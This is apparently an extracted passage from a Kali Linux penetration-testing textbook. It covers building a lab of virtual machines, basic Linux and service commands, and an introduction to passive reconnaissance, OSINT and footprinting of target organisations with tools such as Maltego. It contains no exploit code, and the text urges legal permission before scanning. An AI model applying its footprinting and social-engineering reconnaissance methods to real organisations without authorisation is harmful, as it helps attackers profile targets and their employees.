To add an additional NIC to your VM, simply access the settings for the VM:1.

Click on Add.... This will allow you to choose from a variety of virtual hardware2.
components:
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Select Network Adapter and click Finish, as shown in the following screenshot:3.

The new NIC will be added to the VM and you'll have the option to configure it4.
as per your preferences:

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 2 Chapter 3

[ 83 ]

When the operating system has rebooted, the virtual NIC will be present within the
Network Sharing Center in Windows.

Having completed this section, you have now done the following:

Installed Microsoft Windows
Created a user account
Disabled Windows automatic updates
Configured a static IP address on Windows Server
Added additional interfaces for a VM via the hypervisor

In the next section, we will take a deep dive into installing Ubuntu within our penetration
testing lab.

Installing Ubuntu 8.10
In this section, we will be installing an Ubuntu (Linux) VM in our lab environment for
testing purposes. As I mentioned previously, an awesome penetration tester or ethical
hacker is someone who has a lot of knowledge and experience of many operating systems.

It's quite good to have a broad understanding and knowledge of various types of
environments and operating systems as it will make security auditing and penetration
testing much easier for you. We are going to use the Ubuntu 8.10 operating system within
our lab.

The Linux operating system comes in many flavors, such as Fedora,
CentOS, Arch Linux, openSUSE, Mint Linux, Ubuntu, and RedHat.

There are three ways to get started installing Ubuntu on your lab, as follows:

Navigate to Ubuntu's website at www.ubuntu.com and go to the Download page
to obtain a copy of the latest version of Ubuntu.
Since our exercise is going to use a specific version of Ubuntu, we will search
for Ubuntu 8.10 on Google to quickly find the official relevant repository:

||||||||||||||||||||

||||||||||||||||||||

http://www.ubuntu.com
https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 2 Chapter 3

[ 84 ]

You can also use http:/ /old- releases. ubuntu. com/ releases/ 8.10/  to
download both Ubuntu Server and Desktop ISO images.

Once the ISO file has been successfully downloaded onto your desktop computer, create a
virtual environment within Oracle VM VirtualBox or VMware Workstation using the
following parameters:

CPU: 1 core
RAM: 1-2 GB
HDD: 60 GB
NIC: VMnet1

You can also adjust the hardware configurations as you see fit.

As you may recall, in the previous section, Installing Windows as a VM, we walked through
the process of setting up a virtual environment. The procedure for creating a virtual
environment for Linux is essentially the same as that for Windows when using a
hypervisor, the only differences being in choosing the Ubuntu ISO (Linux operating
system) and using the previously specified parameters (that is, for the CPU, RAM, and so
on).
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The following are the instructions for installing Ubuntu Server in our lab:

Once you have powered on the VM, you'll be presented with the following1.
screen. Choose Install Ubuntu Server and hit Enter:

The setup wizard will ask to specify your language.2.
Then, you'll be asked to choose your country or territory.3.
The installation wizard will ask whether you want your keyboard layout4.
detected. Choose No and continue:
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During the setup process, you will be asked to assign a hostname to the Ubuntu5.
server, which you can leave as the default, as shown in the following screenshot:

During this phase, you'll also be asked to specify your time zone. Choose an6.
appropriate zone.
Select the Guided – use entire disk option and hit Enter to continue. This will7.
allow the Ubuntu operating system to wipe the entire disk drive and install itself
on it, thereby occupying the entire disk:
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You will be asked to choose the destination where you wish to install the Ubuntu8.
server; choose the disk that has sda (primary disk partition) in brackets:

sda is used to represent the primary partition of the primary disk drive on the
Linux operating system. This is the location where you would normally install
any operating system on a disk drive.

Before the installation is executed, select Yes to confirm the configurations:9.
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You will then be asked to provide your full name and you'll also be required to10.
create a user account. Next, assign a password to the user account.
Once the user account creation process has been completed, you will be asked11.
whether you would like to set up an encrypted private directory. I have used the
default (No), as shown in the following screenshot:

At this point, the installation process will take a few minutes to complete.12.
Afterward, you'll be required to set the system clock:
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Next, specify how the operating system should check for updates. I have chosen13.
the No automatic updates option, as shown in the following screenshot:

On the following screen, you can still choose to install various services. I have14.
used the default setting (no software/service selected) once again and selected
Continue:

Once the installation has been completed, the Ubuntu server will boot into its15.
login window, as shown in the following screenshot:
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Your Ubuntu VM is now all set up and ready for future exercises.

Now that you have installed a few VMs in your virtual lab environment, let's take a few
more minutes to walk through and discuss the importance of creating snapshots regularly
when working with virtualization.

Creating and using snapshots
Creating a snapshot can save you a lot of time in restoring the previous state of a VM. A
snapshot works like an instant system restore point. Taking snapshots of a VM prior to and
after major changes will help you recover from any critical issues you may be experiencing
within a VM.

To create a snapshot on both VirtualBox and VMware Workstation, perform the following
steps:

On VirtualBox, select the VM of your choice.1.
Click the menu icon, as highlighted in the following screenshot, and select2.
Snapshots.
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Using VMware Workstation, select a VM of your choice. The snapshot menu on3.
VMware Workstation Pro is located in the toolbar, as indicated in the following
screenshot, on the right-hand side:

I would recommend creating a snapshot once the installation of a VM is successful, and
before and after any major changes or configurations are made on a VM. Creating a
snapshot uses disk space on your local storage drive. However, snapshots can be deleted at
any time.

Having completed this section, you are now able to efficiently install Linux within a
virtualized environment and understand the benefits of working with snapshots.

Troubleshooting Kali Linux
Now that you have access to Kali Linux, you may find yourself encountering some
problems. These may include the following:

Network adapter and USB incompatibility
VM memory problems

Let's go through how to resolve these issues should they come up.
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Network adapter and USB incompatibility 
One of the most commonly found issues that students encounter after importing the Kali
Linux VM within VirtualBox is incompatibility. This incompatibility is usually to do with
the network adapter or USB settings on VirtualBox. If these issues aren't resolved, the VM
will not be able to start.

To determine whether there is an issue, we can perform the following actions:

Open the VM settings on Oracle VM VirtualBox.1.
If you see Invalid settings detected, the VM will be unable to start. Click on one2.
of the icons (such as the network icon or the USB icon) and the relevant error
message will appear.

The following screenshot indicates that there's an issue with the virtual network adapter on
the VM. As we can see, there is no actual adapter attached. Perform the following actions:

Simply click the Name drop-down menu, as shown in the following screenshot.1.
Select an appropriate network adapter, such as Adapter 1, to resolve the issue:2.
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Now that we have fixed the potential problem with the network adapter, let's look at what
happens if the USB software bus is incompatible. You would usually see a USB icon
displayed at the bottom of the Settings window. Clicking on it will display the following
message:

The use of the VirtualBox extension pack will resolve this issue by
enabling USB 2.0 or 3.0. This will ensure that the VM is compatible and is
able to send and receive data to the host's USB ports.

To resolve this issue, simply access the USB settings and select the appropriate USB
controller (preferably USB 1.1 or 2.0), as shown in the following screenshot:

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 2 Chapter 3

[ 94 ]

Within the Oracle VM VirtualBox settings interface, if you look carefully, the bottom of the
window includes icons with warning signs on each. Hovering over each icon at the bottom
will provide you with a description of the issue that is preventing the VM from starting.

VM memory problems
A lot of students sometimes create a VM and assign more memory than is available to the
hypervisor. This can cause either the VM to not start or instability on your host operating
system. To resolve this issue, do the following:

Open the VM settings.1.
Open the System tab.2.
Next, adjust the base memory so that it sits within the green zone (random access3.
memory is what we're talking about here):

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 2 Chapter 3

[ 95 ]

The hypervisor will always inform you of any issues. However, please ensure that you
enable the virtualization feature in your processor. To do this, you'll need to access your
computer's BIOS/UEFI settings to turn on virtualization.

If you encounter any of these problems, you are now equipped with the answers to fix
them.

Summary
During the course of this chapter, we continued from the previous chapter and expanded
our lab environment by deploying and setting up both Windows and Ubuntu VMs.
Additionally, we took a look at the two most commonly found issues when deploying Kali
Linux in a virtual environment.

Having completed this chapter, you have the skills to install Windows and Ubuntu servers
in a virtual lab environment, create user accounts and opt out of automatic updates, add
additional network interfaces to a VM, and create snapshots using the hypervisor manager,
VirtualBox, and VMware Workstation Pro. This concludes our objective of building a
virtual penetration testing lab environment.

Now that we have our own lab set up and ready, it's time to dive into our next chapter,
which is about getting comfortable with Kali Linux 2019.

Further reading
The following links are recommended for additional reading:

Kali Linux documentation: https:/ /docs. kali. org/ 

Windows 10: https:/ /docs. microsoft. com/en- us/ windows/ windows- 10/

Windows Server 2016: https:/ /docs. microsoft. com/ en-us/ windows- server/
index

Ubuntu: https:/ /tutorials. ubuntu. com/ tutorial/ tutorial- install- ubuntu-
desktop and https:/ /tutorials. ubuntu. com/tutorial/ tutorial- install-
ubuntu-server
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4
Getting Comfortable with Kali

Linux 2019
If you're getting started in the field of cybersecurity—especially in offensive security testing
(penetration testing)—it's likely that you'll encounter the Kali Linux operating system. Kali
Linux has a lot of features and tools that make a penetration tester's or security engineer's
job a bit easier when they're in the field or on a job. There are many tools, scripts, and
frameworks for accomplishing various tasks, such as gathering information on a target,
performing network scanning, and even exploitation, to name just a few. The challenge we
face as beginners is learning about, and adapting to, a new environment.

In this chapter, we'll learn how to use Kali Linux more efficiently as a user and as a
penetration tester. Furthermore, you will learn how to use the Linux operating system to
perform various tasks and become more familiar with it. Without understanding how Kali
Linux works, you may face challenges in the later and more advanced chapters on
penetration testing.

In this chapter, we will be covering the following topics:

Understanding Kali Linux
What's new in Kali Linux 2019?
Basics of Kali Linux

Technet24
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Technical requirements
Kali Linux is the only technical requirement for this chapter.

Understanding Kali Linux
Let's go over a little bit of the history of BackTrack (https:/ /www. backtrack- linux. org/ ).
The BackTrack operating system was developed and maintained by the Auditor Security
Collection and Whax organizations back in 2006. At the time, BackTrack was based on the
Linux operating system, Ubuntu. Being Linux-based meant that BackTrack provided many 
opportunities for the penetration tester, with one of its benefits being the ability to boot
from a live CD and live USB bootable media. However, the latest version of the BackTrack
operating system is BackTrack 5, which was released in 2011 before the project was
archived. In 2012, the next-generation operating system, and now successor to BackTrack,
was announced, known as Kali Linux, which was built from the ground up. In March 2013,
Kali Linux was officially released to the public.

In the field of cybersecurity, particularly in the field of penetration testing, the majority of
the most awesome tools are created for the Linux operating system rather than for
Microsoft Windows. Hence, in most cybersecurity training programs, you will notice that
Linux is the preferred operating system for performing security testing.

Some benefits of using Kali Linux are as follows:

It supports open source penetration testing tools.
It contains over 300 tools by default.
Being Linux-based allows it to be installed on a disk drive or used via live boot
media (DVD or USB).
It has support for installation on mobile devices such as OnePlus smartphones
and Raspberry Pi.
It doesn't require much in the way of resources, such as RAM or CPU.
Kali Linux can be installed as a virtual machine, on a local disk drive, bootable
USB flash drive, Raspberry Pi, and various other devices.

The Kali Linux operating system is built on Debian and consists of over 300 preinstalled
tools, with functions ranging from reconnaissance to exploitation and even forensics. The
Kali Linux operating system has been designed not only for security professionals but also
IT administrators and even network security professionals in the field of IT. Being a free
security operating system, it contains the tools necessary to conduct security testing.
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Within the Kali Linux operating system, there are many popular tools that are currently
being used in the industry, such as network mapper (Nmap), aircrack-ng, and the
Metasploit Framework. Deployment and utilization of the operating system is very flexible
and only limited by your imagination.

Kali Linux, being a prepacked all-in-one operating system filled with tools for penetration
testing, digital forensics, reverse engineering, and much more, is definitely a preferred
choice among penetration testers. In the next section, we will dive into the new features in
Kali Linux 2019.

What's new in Kali Linux 2019?
Kali Linux 2019 comes with an upgraded kernel of 4.19.13 and many updated packages and
bug fixes within the operating system. One of the major upgrades is for the Metasploit
Framework. The previous version of Metasploit was version 4.0, released in 2011, but, in
Kali Linux 2019, it was upgraded to version 5.0.

The new Metasploit version 5.0 brings new evasion techniques, updates to its database, and
the automation of APIs. Kali Linux 2019 also contains upgrades for the following tools:

theHarvester
dbeaver
Metasploit
exe2hex
msfpc
SecLists

Further information on the new evasion techniques in Metasploit 5.0 can
be found at https:/ / www. rapid7. com/ info/ encapsulating- antivirus-
av-evasion- techniques- in-metasploit- framework/ .

The community of developers and users of the Kali Linux operating system continues to
grow as it's one of the most popular penetration testing Linux distributions currently
available. There will be many more updates and improvements in the future.

Now that you are up to date with the changes in Kali Linux 2019, we will learn how to use
Kali Linux.
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Basics of Kali Linux
Being accustomed to an operating system for most of your digital life is both a good and
bad thing at times. Most likely, you're either a Windows or macOS user and are very
comfortable with the features and functionalities, and you know how to find your way
around your current operating system of choice. However, learning a new platform or even
a new user interface can prove quite challenging for some. It's like being an Android user
and switching to the Apple iOS or vice versa. In the beginning, it will be a bit tough, but
with continuous practice, you'll become a Jedi master.

Over the next few sections, we will dive deep into learning the fundamentals of navigating
the Linux operating system as a penetration tester.

The Terminal and Linux commands
The Linux Terminal is pretty much the most powerful interface in the Linux operating
system as this is where all the magic happens. Most Linux tools are command-line based.
Most penetration testing tools are also command line-based, and this can sometimes be
intimidating to new users and people who are just starting in the field of cybersecurity or
directly in penetration testing.

The following exercises will help you become a bit more familiar with using the Linux
Terminal and commands:

To change the password on your current user account, execute the passwd
command. Whenever you type passwords on a Linux Terminal/shell, the
password itself is invisible.
To view your current working directory in the Terminal, use the pwd command.
To view a list of files and folders in your current directory, use the ls command.
Additionally, the ls –la command can be used to provide a list of all files
(including hidden files) with their permissions.
To change directory or navigate the filesystem, use the cd command followed by
the directory.

The following is a screenshot demonstrating the use of these commands. We can see the
current working directory after executing the pwd command, a list of files and folders using
the ls -l command, and the option to change the working directory using the cd
command:
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Furthermore, if we have a text file in our directory, we can use the cat command to view
its content. Also, we can add additional lines of text to an existing file directly from the
Terminal by using the echo "text" >> filename.txt syntax, as shown in the following
screenshot. Looking closely, we can see that the ls command was used to show the files on
the desktop, the cat command was used to print the content of the Test.txt file on the
Terminal, and echo was used to add text:
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Using the >> switch will add another line to the existing text file (in other words, insert a
new line). However, using a single > will overwrite all the content with the new string, as
we can see here:

The Test.txt file now has the most recent string of text.

If you're interested in learning more about Linux, check out the Linux
Unhatched and Linux Essentials courses at Cisco Networking Academy:
https:/ /www. netacad. com/ courses/ os-it.

Always remember that the more you practice using a Linux operating
system, the easier it is to perform tasks.

Next, we will demonstrate how to find your way around Kali Linux using various utilities.

Navigating in Kali Linux
In this section, we will guide you through the basics of maneuvering the Kali Linux
operating system. As we mentioned previously, Kali Linux is based on the Debian flavor of
Linux. This means that all other Debian-based operating systems will have a similar user
interface.
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After Kali Linux has booted, you'll be presented with the login screen; the default username
and password for logging into Kali Linux are root/toor. Upon logging in, you'll be
presented with a very nice, clean, and polished user interface. One of the very first things
you'll notice in the top-left corner is the Applications drop-down menu. This is the menu
where all of your penetration testing and forensics tools are kept. The Applications menu,
as shown in the following screenshot, is organized into various categories, such as
Information Gathering, Vulnerability Analysis, and Web Application Analysis:
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Additionally, hovering over a category will display the popular tools for this section.
However, clicking on a category will expand further subcategories, and each subcategory
contains even more tools. Let's click on Applications | 02 – Vulnerability Analysis | Cisco
Tools. You'll see an additional menu open to the right, displaying all the vulnerability tools
related to Cisco devices, as shown in the following screenshot:

When you become a Linux user, you'll soon realize that one of the most powerful
applications on the operating system is the Linux Terminal. The Terminal is equivalent to
Command Prompt in the Windows operating system. A lot of tasks and tools are usually
initialized via the Terminal window. You may be wondering: Kali Linux has a graphical
user interface (GUI), so don't all of its built-in tools have a GUI as well? The short answer
is no.

Most of Kali Linux's powerful tools are only controlled by the command-line interface
(CLI); however, some have the option to use a GUI. The benefit of using a CLI is that the
output for a tool is much more detailed on the Terminal in comparison to that for a GUI.
We'll take a look at this concept later in the book. To open the Terminal, select Applications
| Favorites | Terminal:
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Kali Linux has all the regular features and functions that any other operating system has.
This means that there are user directories such as Home, Desktop, Documents, Downloads,
Music, and Pictures. To quickly access any of the locations with Kali, simply click on the
Places drop-down menu:

Now, regular Windows users won't feel as though their experience is complete until they
have something that resembles Control Panel. To access the equivalent of Control Panel in
Kali Linux, simply click the power button icon, which can be found in the top-right corner.
This will create a drop-down menu where you will see a spanner and screwdriver icon, as
shown in the following screenshot.

Clicking on this icon will open the Settings menu for the operating system:
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In the left-hand side column, you will find the main categories. The right-hand side shows
the expansion of each:

Please ensure that you record your default settings before making any configuration
changes on Kali Linux. This is to ensure that if any issues arise after you've made a change,
you can revert to the previous state. Additionally, create a snapshot of the virtual machine
prior to making any major changes.

Now that you have a better understanding of where popular directories and settings are
located, we can move on and learn about updating and installing programs on Kali Linux.

Updating sources and installing programs
At times, a tool may not be working as expected, or even crash unexpectedly on us during a
penetration test or security audit. Developers often release updates for their applications.
These updates are intended to fix bugs and add new features to the user experience.
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To update the software packages on our Kali Linux operating system, we must first
resynchronize the package index files with their sources. Let's get started:

Open the Terminal, and execute the apt-get update command:1.

The indexes are located in the /etc/apt/sources.list file.

This process usually takes a minute or two to complete with a stable internet
connection.

If you want to upgrade the current packages (applications) on your Kali Linux2.
machine to their newest and latest versions, use the apt-get upgrade
command:

When you perform an upgrade, ensure that all your tools and scripts are working
perfectly before conducting a penetration test.

If you experience an error while upgrading packages on Kali Linux, use
the apt-get update --fix-missing command to resolve any
dependencies, and then execute the apt-get upgrade command once
more.
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At the end of the output, the interactive menu will ask you to select yes (y) or no3.
(n) to continue with the upgrade process. Once you've selected yes, the operating
system will download all the latest versions of each package and install them one
by one. This process takes some time to complete.

Optionally, if you would like to upgrade your version of Kali Linux to the
most current distribution, use the apt-get dist-upgrade command. At
the time of writing, we are using Kali Linux 2019.2.

Additionally, executing the apt autoremove command will perform a cleanup operation
on your Kali Linux operating system by removing any old or no longer needed package
files:

Now that we have a clear understanding of how to update and upgrade our operating
system, let's take a look at how to install a new application (package) within Kali Linux
2019. A very well-known vulnerability scanner is the Open Vulnerability Assessment
System (OpenVAS). However, OpenVAS is not included in Kali Linux 2019 by default. In
this exercise, we will install the OpenVAS application on our Kali machine. To get started,
ensure that you have an internet connection on your Kali machine.

Use the apt-get install openvas command to search for the repository and download
and install the package with all its dependencies:
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This process should take a few minutes to complete. Ensure that you execute the apt-get
update command prior to installing any packages on Kali Linux. Once the package
(application) has been installed, it will appear within the designated category in the
Applications menu, as shown in the following screenshot:

Please be sure to check the release notes for your version of Kali Linux at
https:/ /www. kali. org/ category/ releases/ .

Sometimes, updating your source file will assist in updating, upgrading, and retrieving
packages on Kali Linux. The latest updates to the sources.list file can be found at
https://docs.kali. org/ general- use/ kali- linux- sources- list- repositories.

In the next section, we will take a deep dive into learning about three of the most essential
tools in the Kali Linux operating system.
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The find, locate, and which commands
Within the Kali Linux operating system, there are many methods by which a user can locate
files and directories. In this section, I will introduce you to the find, locate, and which
utilities. Each of these utilities performs similar tasks, but returns the requested information
a bit differently from each other.

Before we use any of these commands, we must first execute the updatedb command to
build a local database for each file within our current filesystem on Kali Linux. This process
usually takes a few seconds to complete.

In the following section, we will take a deeper look into each of the Linux utilities and how
they are used.

The locate command
Once the database is completely built, we can use the locate utility to query the database
for local files. In this example, we are attempting to locate the directory of the Netcat
Windows executable file by using the locate nc.exe command:

As we can see, the locate utility was able to retrieve the location of the nc.exe file within
the filesystem for us.

The which command
Next, we are going to use the which utility to help us search for directories. Unlike the
previous example, we do not need to specify the file extension; the which utility is used to
locate the file path of an executable file. Simply put, the which utility will provide you with
the file path only:
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The preceding screenshot shows where the which nc command was used to retrieve the
Netcat path within Kali Linux.

The find command
The find utility is a bit more aggressive than locate and which. The find utility will
return all the results that contain the keyword or string we have specified. In our example,
we've used the find command to provide us with a listing of all files (including their
directories) that begin with nc:
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The man command can help us understand how a tool or utility works. The man command
is used to provide us with the manual page for a tool. We can view the man page of the
find utility using the man find command:

The man command can be very useful when you want to learn about new and existing tools
on Linux.

In the next section, we will discuss how to manage services in Kali Linux and take a look at
a few practical examples.
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Managing Kali Linux services
The Kali Linux operating system can function as a server for various types of services, such
as Secure Shell (SSH), Hypertext Transfer Protocol (HTTP), and many more. In this
section, I will demonstrate how to enable and disable various services. Once a service is
running on a system, an associated network port is opened. For example, if HTTP is
enabled on a machine, the default logical port is 80; for SSH, the port is 22.

Further information on services and port number assignments can be
found on the Internet Assigned Numbers Authority (IANA) website at
https:/ /www. iana. org/ assignments/ service- names- port- numbers/
service- names- port- numbers. xhtml.

To enable a service in Kali Linux, we can use the service <service-name> command
syntax. In our example, we are going to enable the Apache web server, and, using the
netstat –antp | grep <service-name> command we can verify that the associated
service is running and that the network port is open, as shown in the following screenshot:

The last column contains the service name; in our exercise, we can see apache2 listed. This
indicates that the web services are running—specifically, that the Apache2 web service is
active on Kali Linux.

To enable SSH, we can use the service ssh start command.
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Additionally, since it's a web server, we can open our web browser and enter the loopback
IP address, 127.0.0.1, to verify that the default Apache web page is loading on our
screen:

However, if our Kali Linux machine is powered off or restarted, the services that we
previously enabled will revert back to their default start up settings. What if we want to
ensure that certain services always start during the boot process of Kali Linux? This can be
done by using the update-rc.d <service-name> enable command in the Terminal
window:

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Getting Comfortable with Kali Linux 2019 Chapter 4

[ 114 ]

In our example, we have enabled the SSH service, which will allow us to remotely access
our Kali Linux machine over a network securely. The HTTP server will allow us to access
the web server pages.

Last but not least, we can disable individual services and disable services from
automatically starting during the boot process, as shown in the following screenshot:

In the voice of Uncle from the Jackie Chan Adventures, "One more thing!", I recommend
changing the default password for the root account on Kali Linux. To change the password,
open the Terminal window and execute the passwd command. The interactive prompt will
ask you to enter your new password and verify it.

Please note that when entering passwords on a Terminal interface on a
Linux-based operating system, the characters you enter do not appear on
the screen/Terminal.

In this section, you have learned the skills essential for using the Kali Linux operating
system. These skills include navigating the filesystem, updating and installing software
packages, and enabling and disabling services.

Summary
During the course of this chapter, we discussed the benefits of using the Kali Linux
operating system as the preferred penetration testing distribution. We covered the basics of
maneuvering and finding our way around the operating system, just as you would with
any other operating system. Then, we took a look at updating our source file and
upgrading our existing packages, and we demonstrated how to install a new application
and remove outdated packages. Lastly, we covered how to use the find, locate, and
which utilities to quickly find files and directories within the Kali Linux operating system.
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Learning the essentials of Kali Linux will prove to be fruitful in your journey ahead. The
skills taught in this chapter will help you understand the simple things when using Kali
Linux, some of which are often overlooked. It would be pointless to know how to gather
information on a target but not know how to find or locate files and directories within the
Kali Linux operating system, so learning the basics will take you a long way.

In the next chapter, we will be covering passive information gathering, which is the
beginning of the reconnaissance phase in penetration testing.

Questions
What was the predecessor of Kali Linux?1.
How do you update repositories on Kali Linux?2.
How do you upgrade current packages on Linux?3.
Which command installs a new application from the official online repository?4.
How can you quickly find a file within the filesystem?5.

Further reading
Kali Linux 2019.2 release information: https:/ /www. kali. org/ news/ kali-
linux-2019- 2- release/ 

Official Kali Linux documentation: https:/ /www. kali. org/ kali- linux-
documentation/ 
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Section 2: Reconnaissance

This section teaches the reader about the importance of conducting extensive
reconnaissance on a target prior to launching any exploits or payloads. The reader will
learn the various types of information-gathering techniques, along with a variety of online
and offline tools to assist in retrieving information and specific details pertaining to a
target. Upon completing this section, the reader will be equipped with the essentials of both
the theory and hands-on experience of performing various information-gathering
techniques as a cyber security professional.

This section comprises the following chapters:

Chapter 5, Passive Information Gathering
Chapter 6, Active Information Gathering

Technet24
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Passive Information Gathering

Beginning a career in ethical hacking and/or penetration testing can be very exciting and,
most of the time, our minds will be a bit overwhelmed, causing us to visit only the chapters
about exploiting a system in a book such as this. However, conducting a penetration test is
like starting a new project at home. Before you build a pool in your backyard, there are a
few things you must consider, such as the space that's available, the cost of materials, the
contractor's fees, and other details. Information gathering is a very important phase of the
hacking life cycle and penetration testing.

In this chapter, we will focus on passive information gathering techniques and methods.
We will learn how to use the internet to get us the information and specific details we need 
about our target by using both online resources and tools on Kali Linux.

We will be covering the following topics:

Reconnaissance and footprinting
Understanding passive information gathering
Understanding open source intelligence (OSINT)
Using the top OSINT tools
Identifying target technologies and security controls
Finding data leaks in cloud resources
Understanding whois and copying websites with HTTrack
Finding subdomains using Sublist3r

Dear reader! Please ensure that you do not perform scans on any target
organization, networks, or systems in the absence of appropriate legal
permission.
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Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: https:/ /www. kali. org/

Maltego: www.paterva.com
Recon-ng: https:/ /bitbucket. org/ LaNMaSteR53/ recon- ng

theHarvester: https:/ /github. com/ laramies/ theHarvester

OSRFramework: https:/ /github. com/ i3visio/ osrframework

HTTrack: www.httrack.com
Sublist3r: https:/ /github. com/aboul3la/ Sublist3r

S3Scanner: https:/ /github. com/sa7mon/ S3Scanner

Reconnaissance and footprinting
The various phases of hacking include reconnaissance, scanning, gaining access,
maintaining access, and clearing tracks. The reconnaissance phase is the most important
phase of a penetration test since this is when the ethical hacker or penetration tester
conducts extensive research into gathering as much information about the target as
possible. Furthermore, footprinting will help create a profile of the target, gathering
profiling information such as running services, open ports, and operating systems.

We will now look at both reconnaissance and footprinting in more detail.

Reconnaissance
From a military perspective, reconnaissance is the observation and research of an enemy
target. In cybersecurity, as a penetration tester, we use various tools and techniques to
gather detailed information about a target organization and its underlying infrastructure.

Reconnaissance is vital in the field of penetration testing. As a penetration tester, we
definitely need to know about our target, as well as its vulnerabilities and operating
systems, before we attempt to gain access via exploitation. The information gathered
during the reconnaissance phase will help us to choose the right tools and techniques to
successfully exploit the target.
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Reconnaissance can be divided into two categories:

Passive: Uses an indirect approach and does not engage the target
Active: Directly engages the target to gather specific details

Next, we will dive into understanding footprinting.

Footprinting
Footprinting is the procedure whereby as much information as possible is gathered in
relation to a target. In footprinting, the objective is to obtain specific details about the target,
such as its operating systems and the service versions of running applications. The
information that's collected can be used in various ways to gain access to the target system,
network, or organization. Footprinting allows a penetration tester to understand the
security posture of the target infrastructure, quickly identify security vulnerabilities on the
target systems and networks, create a network map of the organization, and reduce the area
of focus to the specific IP addresses, domain names, and the types of devices regarding
which information is required.

Footprinting is part of the reconnaissance phase; however, since footprinting is able to
provide more specific details about the target, we can consider footprinting to be a subset of
the reconnaissance phase. The following diagram provides a visual overview of how
reconnaissance and footprinting sit together:
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The following are the main objectives of footprinting:

Collecting network information (domain names, IP addressing schemes, and
network protocols)
Collecting system information (user and group names, routing tables, system
names, and types)
Collecting organization information (employee details, company directory, and
location details)

To successfully obtain information about a target, I would recommend using the following
footprinting methodology:

Checking search engines such as Yahoo, Bing, and Google
Performing Google hacking techniques (advanced Google searches)
Information gathering through social media platforms such as Facebook,
LinkedIn, Instagram, and Twitter
Footprinting the company's website
Performing email footprinting techniques
Using the whois command
Performing DNS footprinting
Network footprint techniques
Social engineering

You are now able to differentiate between reconnaissance and footprinting. Both
reconnaissance and footprinting are required during penetration testing as each provides
vital information about the target. In the next section, we will take a deep dive into passive
information gathering.
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Understanding passive information
gathering
Passive information gathering is when you use an indirect approach to obtain information
about your target. This method obtains information that's publicly available from many
sources, thus eliminating direct contact with the potential target. Passive information
gathering is usually fruitful, and a lot of organizations usually publish information and
details about their organizations as a marketing strategy for their existing and potential
customers. Sometimes, when organizations advertise a vacancy on a job recruiting website,
the recruiter posts technical requirements for the potential candidate. From a penetration
tester's point of view, the technical details can indicate the types of platforms and
applications that are running within the organization's network infrastructure.

We have covered the concepts of passive information gathering. Now, let's take a deep dive
into learning about OSINT in the next section.

Understanding OSINT
As mentioned previously, the first stage of a penetration test is to gather as much
information as possible on a given target or organization. Gathering information prior to
exploiting and gaining access to a network or system will help the penetration tester
narrow the scope of the attack and design specific types of attacks and payloads that are
suitable for the attack surface of the target. We will begin our information-gathering phase
by utilizing the largest computer network in existence: the internet.
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The following diagram provides a brief overview of the different areas where OSINT can be
found on a target:

The internet has many platforms, ranging from forums and messaging boards to social
media platforms. A lot of companies create an online presence to help market their
products and services to potential clients. In doing so, the creation of a company's website,
Facebook, Instagram, Twitter, LinkedIn, and so on ensures that their potential customers
get to know who they are and what services and products are offered. The marketing
department is usually responsible for ensuring that an organization's online presence is felt
and that their digital portfolio is always up to date and eye-catching.

Organizations usually publish information about themselves on various internet platforms,
such as blogs and recruitment websites. As the internet is so readily available and
accessible, it's quite easy for someone to gather information on a target organization simply
by using search engines and determining their underlying infrastructure. This technique is
known as OSINT.

This is where a penetration tester or ethical hacker uses various tools and techniques that
harness information that's publicly available on the internet to create a portfolio of the
target. OSINT is a type of passive information gathering where the penetration tester does
not make direct contact or a connection with the actual target, but rather asks legitimate
and reliable sources about the target.
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Over the years, I have noticed a lot of job-hunting websites where recruiters post vacancies
for IT positions within a company, but the recruiter specifies that an ideal candidate should
have experience with specific technologies. This can be a good thing for the company and
the applicant; however, it can be bad as well. The following are the pros and cons of
companies posting their technologies on recruitment websites:

These are the pros:

The potential candidate will know what type of environment to expect if they are
hired.
The potential candidate can determine beforehand whether they have the skill set
required for the job.

These are the cons:

The company is partially exposing their technologies to the general public.
A hacker can determine the infrastructure and better select exploits and tools to
perform a cyber attack.

Let's take a look at the following screenshot from a job site. Looking closely, we notice that
the job poster has specified that they are using both Cisco and HP networking technologies,
the company uses an AVAYA PBX system as their Voice over Internet Protocol (VoIP)
system, and they are running Windows Server 2008 and/or 2012 in their network:

As a penetration tester, we can see that the company is using specific types of technologies
within their IT infrastructure. From a penetration tester's point of view, if this organization
were our target for a penetration test, we could now narrow our scope of attacks to these
specific technologies.

Now that we have completed this section on better understanding OSINT, let's dive into
the practical of using OSINT tools.
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Using the top OSINT tools
In this section, I will demonstrate some of the most popular OSINT tools that are available
for Kali Linux. Each tool will help us create a profile about a target using various sources of
information that can be found on the internet.

Over the next few sub-sections, we will cover the following OSINT tools:

Maltego
Recon-ng
theHarvester
Shodan
OSRFramework

Now, let's take a deeper dive into each of these amazing tools.

Maltego
Maltego was created by Paterva (www.paterva.com) as a graphical interactive data mining
application with the ability to query and gather information from various sources on the
internet and present data in easy-to-read graphs. The graphs demonstrate the relationship
between each entity and the target.

To get started, you need a user account to access the functions and features of Maltego:

Go to www.paterva.com and click on COMMUNITY. A drop-down menu will be1.
presented. Click on REGISTER (FREE) to create a user account:
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After creating the user account, please ensure that you verify your email address2.
prior to logging in. Once this step has been completed, head back to your Kali
Linux desktop. Open the Maltego tool by clicking on Applications | Favorites |
maltego, as shown in the following screenshot:
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Once the application opens, click on Maltego CE (Free) to configure and run the3.
community edition of Maltego:
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Next, you should be presented with the Maltego configuration wizard. Ensure4.
that you log in using the same user account you created previously on the
Paterva website and click Next. Read and follow the instructions that appear in
the next few steps of the configuration wizard. You can leave everything in the
default state and click Next until the process ends:
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Once the configuration window closes, the general Maltego interface is5.
displayed, as shown in the following screenshot. On the start page, there are
many transform sets that can be added to Maltego. A transform is an open
source resource that Maltego can query for information. Adding transforms is
optional:

To begin gathering information on a target organization, we must first open a6.
new graph. To do this, click on the Maltego icon in the top-left corner, and then
click on New. Once a new graph has been created, you'll see various types of
information (entities) on the left, while, on the right-hand side, you'll see
Overview, Detail View, and Property View.
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To add a domain of a company, click and drag the domain entity to the center of7.
